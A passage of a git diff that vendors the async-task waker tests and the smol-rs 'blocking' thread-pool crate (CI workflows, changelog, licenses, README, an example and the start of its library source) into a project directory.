the second time it is polled. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Every time the future is run, it stores the waker into a global variable. +// This waker can be extracted using the `get_waker()` function. +macro_rules! future { + ($name:pat, $get_waker:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + static WAKER: AtomicWaker = AtomicWaker::new(); + + let ($name, $get_waker) = { + struct Fut(Cell, #[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Box; + + fn poll(self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll { + WAKER.register(cx.waker()); + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(200)); + + if self.0.get() { + Poll::Ready(Box::new(0)) + } else { + self.0.set(true); + Poll::Pending + } + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + (Fut(Cell::new(false), Box::new(0)), || WAKER.take().unwrap()) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, chan, SCHED, DROP)` +// +// The schedule function `s` pushes the task into `chan`. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +// +// Receiver `chan` extracts the task when it is scheduled. +macro_rules! schedule { + ($name:pat, $chan:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let ($name, $chan) = { + let (s, r) = flume::unbounded(); + + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + let sched = move |runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + + (sched, r) + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn wake() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (mut runnable, task) = async_task::spawn(f, s); + task.detach(); + + assert!(chan.is_empty()); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake(); + runnable = chan.recv().unwrap(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn wake_by_ref() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (mut runnable, task) = async_task::spawn(f, s); + task.detach(); + + assert!(chan.is_empty()); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake_by_ref(); + runnable = chan.recv().unwrap(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake_by_ref(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[allow(clippy::redundant_clone)] // This is intentional +#[test] +fn clone() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (mut runnable, task) = async_task::spawn(f, s); + task.detach(); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + let w2 = get_waker().clone(); + let w3 = w2.clone(); + let w4 = w3.clone(); + w4.wake(); + + runnable = chan.recv().unwrap(); + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + w3.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + drop(w2); + drop(get_waker()); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn wake_dropped() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + task.detach(); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + let waker = get_waker(); + + waker.wake_by_ref(); + drop(chan.recv().unwrap()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} + +#[test] +fn wake_completed() { + future!(f, get_waker, POLL, DROP_F); + schedule!(s, chan, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + task.detach(); + + runnable.run(); + let waker = get_waker(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + waker.wake(); + chan.recv().unwrap().run(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(chan.len(), 0); + + get_waker().wake(); + assert_eq!(POLL.load(Ordering::SeqCst), 2); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 1); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(chan.len(), 0); +} diff --git a/lib/malio/blocking/.github/dependabot.yml b/lib/malio/blocking/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/blocking/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/blocking/.github/workflows/ci.yml b/lib/malio/blocking/.github/workflows/ci.yml new file mode 100644 index 0000000..0f04f09 --- /dev/null +++ b/lib/malio/blocking/.github/workflows/ci.yml @@ -0,0 +1,90 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add wasm32-unknown-unknown + - name: Install cargo-hack and cargo-minimal-versions + uses: taiki-e/install-action@v2 + with: + tool: cargo-hack,cargo-minimal-versions + - run: cargo build --all --all-features --all-targets + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - name: Run cargo check for WASM + run: cargo check --all --all-features --all-targets --target wasm32-unknown-unknown + - run: cargo minimal-versions build --all --all-features + + msrv: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets + + miri: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup toolchain install nightly --component miri && rustup default nightly + - run: cargo miri test + env: + # -Zmiri-ignore-leaks is needed because we use detached threads in tests/docs: https://github.com/rust-lang/miri/issues/1371 + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation -Zmiri-ignore-leaks + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout diff --git a/lib/malio/blocking/.github/workflows/release.yml b/lib/malio/blocking/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/blocking/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/blocking/.gitignore b/lib/malio/blocking/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/blocking/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/blocking/CHANGELOG.md b/lib/malio/blocking/CHANGELOG.md new file mode 100644 index 0000000..7c08718 --- /dev/null +++ b/lib/malio/blocking/CHANGELOG.md @@ -0,0 +1,142 @@ +# Version 1.6.2 + +- Fix build failure with minimal-versions. (#71) + +# Version 1.6.1 + +- Remove our dependency on the `async-lock` crate. (#59) + +# Version 1.6.0 + +- Panics that occur in `unblock`ed functions are now propagated to the calling + function. (#58) +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#60) +- Remove the unused `fastrand` dependency. (#61) + +# Version 1.5.1 + +- Fix compilation on WebAssembly targets (#54). + +# Version 1.5.0 + +- Bump MSRV to 1.61. (#50) + +# Version 1.4.1 + +- Change the `error_span` in `grow_pool` into `trace_span`. (#45) + +# Version 1.4.0 + +- Bump MSRV to 1.59. (#44) +- Remove the unused `memchr` dependency. (#38) +- Extract read/write pipes into the `piper` crate, which this crate now uses. (#37) +- Mark as `forbid(unsafe_code)` (#37). +- Set up logging using `tracing`. (#40) + +# Version 1.3.1 + +- Gracefully handle the inability to spawn threads. (#31) + +# Version 1.3.0 + +- Remove the dependency on the `once_cell` crate to restore the MSRV. (#30) + +# Version 1.2.0 + +- Return `Task` from `unblock` instead of returning opaque type. (#25) + +# Version 1.1.0 + +- Add an environment variable to customize the maximum number of threads. (#21) + +# Version 1.0.2 + +- Update `futures-lite`. + +# Version 1.0.1 + +- Use `async-task`. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.6.1 + +- Add probabilistic yielding to improve fairness. + +# Version 0.6.0 + +- Remove the `unblock!` macro. + +# Version 0.5.2 + +- Implement `Sync` for `Unblock`. + +# Version 0.5.1 + +- Add `Unblock::with_capacity()`. +- Add `unblock()` function. +- An optimization in task spawning. + +# Version 0.5.0 + +- Simplify the API to just `unblock!` and `Unblock`. + +# Version 0.4.7 + +- Simplify dependencies for faster compilation. + +# Version 0.4.6 + +- Update doc comment on `Unblock`. + +# Version 0.4.5 + +- Implement `AsyncSeek`/`Seek` for `Unblock`/`BlockOn`. + +# Version 0.4.4 + +- Remove the initial poll in block_on that caused lost wakeups. + +# Version 0.4.3 + +- Fix a bug where a closed `Receiver` causes panics. + +# Version 0.4.2 + +- Start thread numbering from 1. + +# Version 0.4.1 + +- Attach names to spawned threads. + +# Version 0.4.0 + +- Remove `Future` impl for `Blocking`. +- Add `unblock()`. +- Rename `blocking!` to `unblock!`. +- Rename `Blocking` to `Unblock`. +- Add `block_on()`, `block_on!`, and `BlockOn`. + +# Version 0.3.2 + +- Make `Blocking` implement `Send` in more cases. + +# Version 0.3.1 + +- Add `Blocking::with_mut()`. + +# Version 0.3.0 + +- Remove `Blocking::spawn()`. +- Implement `Future` for `Blocking` only when the inner type is a `FnOnce`. + +# Version 0.2.0 + +- Initial version + +# Version 0.1.0 + +- Reserved crate name diff --git a/lib/malio/blocking/Cargo.toml b/lib/malio/blocking/Cargo.toml new file mode 100644 index 0000000..7667cbc --- /dev/null +++ b/lib/malio/blocking/Cargo.toml @@ -0,0 +1,26 @@ +[package] +name = "blocking" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v1.x.y" git tag +version = "1.6.2" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.68" +description = "A thread pool for isolating blocking I/O in async programs" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/blocking" +keywords = ["async", "file", "stdio", "stdin", "process"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[dependencies] +async-channel = "2.0.0" +async-task = "4.4.0" +futures-io = { version = "0.3.28", default-features = false, features = ["std"] } +futures-lite = { version = "2.0.0", default-features = false } +piper = "0.2.0" +tracing = { version = "0.1.37", default-features = false, optional = true } + +[dev-dependencies] +futures-lite = "2.0.0" diff --git a/lib/malio/blocking/LICENSE-APACHE b/lib/malio/blocking/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/blocking/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/blocking/LICENSE-MIT b/lib/malio/blocking/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/blocking/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/blocking/README.md b/lib/malio/blocking/README.md new file mode 100644 index 0000000..197e77b --- /dev/null +++ b/lib/malio/blocking/README.md @@ -0,0 +1,93 @@ +# blocking + +[![Build](https://github.com/smol-rs/blocking/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/blocking/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/blocking) +[![Cargo](https://img.shields.io/crates/v/blocking.svg)]( +https://crates.io/crates/blocking) +[![Documentation](https://docs.rs/blocking/badge.svg)]( +https://docs.rs/blocking) + +A thread pool for isolating blocking I/O in async programs. + +Sometimes there's no way to avoid blocking I/O. Consider files or stdin, which have weak async +support on modern operating systems. While [IOCP], [AIO], and [io_uring] are possible +solutions, they're not always available or ideal. + +Since blocking is not allowed inside futures, we must move blocking I/O onto a special thread +pool provided by this crate. The pool dynamically spawns and stops threads depending on the +current number of running I/O jobs. + +Note that there is a limit on the number of active threads. Once that limit is hit, a running +job has to finish before others get a chance to run. When a thread is idle, it waits for the +next job or shuts down after a certain timeout. + +The default number of threads (set to 500) can be altered by setting BLOCKING_MAX_THREADS environment variable with value between 1 and 10000. + +[IOCP]: https://en.wikipedia.org/wiki/Input/output_completion_port +[AIO]: https://man7.org/linux/man-pages/man2/io_submit.2.html +[io_uring]: https://lwn.net/Articles/776703/ + +## Examples + +Read the contents of a file: + +```rust +use blocking::unblock; +use std::fs; + +let contents = unblock(|| fs::read_to_string("file.txt")).await?; +println!("{}", contents); +``` + +Read a file and pipe its contents to stdout: + +```rust +use blocking::{unblock, Unblock}; +use futures_lite::io; +use std::fs::File; + +let input = unblock(|| File::open("file.txt")).await?; +let input = Unblock::new(input); +let mut output = Unblock::new(std::io::stdout()); + +io::copy(input, &mut output).await?; +``` + +Iterate over the contents of a directory: + +```rust +use blocking::Unblock; +use futures_lite::prelude::*; +use std::fs; + +let mut dir = Unblock::new(fs::read_dir(".")?); +while let Some(item) = dir.next().await { + println!("{}", item?.file_name().to_string_lossy()); +} +``` + +Spawn a process: + +```rust +use blocking::unblock; +use std::process::Command; + +let out = unblock(|| Command::new("dir").output()).await?; +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or https://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or https://opensource.org/license/mit) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/blocking/examples/ls.rs b/lib/malio/blocking/examples/ls.rs new file mode 100644 index 0000000..878045c --- /dev/null +++ b/lib/malio/blocking/examples/ls.rs @@ -0,0 +1,26 @@ +//! Lists contents of a directory. +//! +//! Run with: +//! +//! ``` +//! cargo run --example ls . +//! ``` + +use std::{env, fs, io}; + +use blocking::Unblock; +use futures_lite::{future, prelude::*}; + +fn main() -> io::Result<()> { + let path = env::args().nth(1).unwrap_or_else(|| ".".into()); + + future::block_on(async { + let mut dir = Unblock::new(fs::read_dir(path)?); + + while let Some(item) = dir.next().await { + println!("{}", item?.file_name().to_string_lossy()); + } + + Ok(()) + }) +} diff --git a/lib/malio/blocking/src/lib.rs b/lib/malio/blocking/src/lib.rs new file mode 100644 index 0000000..4feecd3 --- /dev/null +++ b/lib/malio/blocking/src/lib.rs @@ -0,0 +1,1062 @@ +//! A thread pool for isolating blocking I/O in async programs. +//! +//! Sometimes there's no way to avoid blocking I/O. Consider files or stdin, which have weak async +//! support on modern operating systems. While [IOCP], [AIO], and [io_uring] are possible +//! solutions, they're not always available or ideal. +//! +//! Since blocking is not allowed inside futures, we must move blocking I/O onto a special thread +//! pool provided by this crate. The pool dynamically spawns and stops threads depending on the +//! current number of running I/O jobs. +//! +//! Note that there is a limit on the number of active threads. Once that limit is hit, a running +//! job has to finish before others get a chance to run. When a thread is idle, it waits for the +//! next job or shuts down after a certain timeout. +//! +//! The default number of threads (set to 500) can be altered by setting `BLOCKING_MAX_THREADS` environment +//! variable with value between 1 and 10000. This can also be set, at runtime, via the +//! [`set_max_blocking_threads`] function. +//! +//! [IOCP]: https://en.wikipedia.org/wiki/Input/output_completion_port +//! [AIO]: http://man7.org/linux/man-pages/man2/io_submit.2.html +//! [io_uring]: https://lwn.net/Articles/776703 +//! +//! # Examples +//! +//! Read the contents of a file: +//! +//! ```no_run +//! use blocking::unblock; +//! use std::fs; +//! +//! # futures_lite::future::block_on(async { +//! let contents = unblock(|| fs::read_to_string("file.txt")).await?; +//! println!("{}", contents); +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Read a file and pipe its contents to stdout: +//! +//! ```no_run +//! use blocking::{unblock, Unblock}; +//! use futures_lite::io; +//! use std::fs::File; +//! +//! # futures_lite::future::block_on(async { +//! let input = unblock(|| File::open("file.txt")).await?; +//! let input = Unblock::new(input); +//! let mut output = Unblock::new(std::io::stdout()); +//! +//! io::copy(input, &mut output).await?; +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Iterate over the contents of a directory: +//! +//! ```no_run +//! use blocking::Unblock; +//! use futures_lite::prelude::*; +//! use std::fs; +//! +//! # futures_lite::future::block_on(async { +//! let mut dir = Unblock::new(fs::read_dir(".")?); +//! while let Some(item) = dir.next().await { +//! println!("{}", item?.file_name().to_string_lossy()); +//! } +//! # std::io::Result::Ok(()) }); +//! ``` +//! +//! Spawn a process: +//! +//! ```no_run +//! use blocking::unblock; +//! use std::process::Command; +//! +//! # futures_lite::future::block_on(async { +//! let out = unblock(|| Command::new("dir").output()).await?; +//! # std::io::Result::Ok(()) }); +//! ``` + +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![forbid(unsafe_code)] +#![doc( + html_favicon_url = 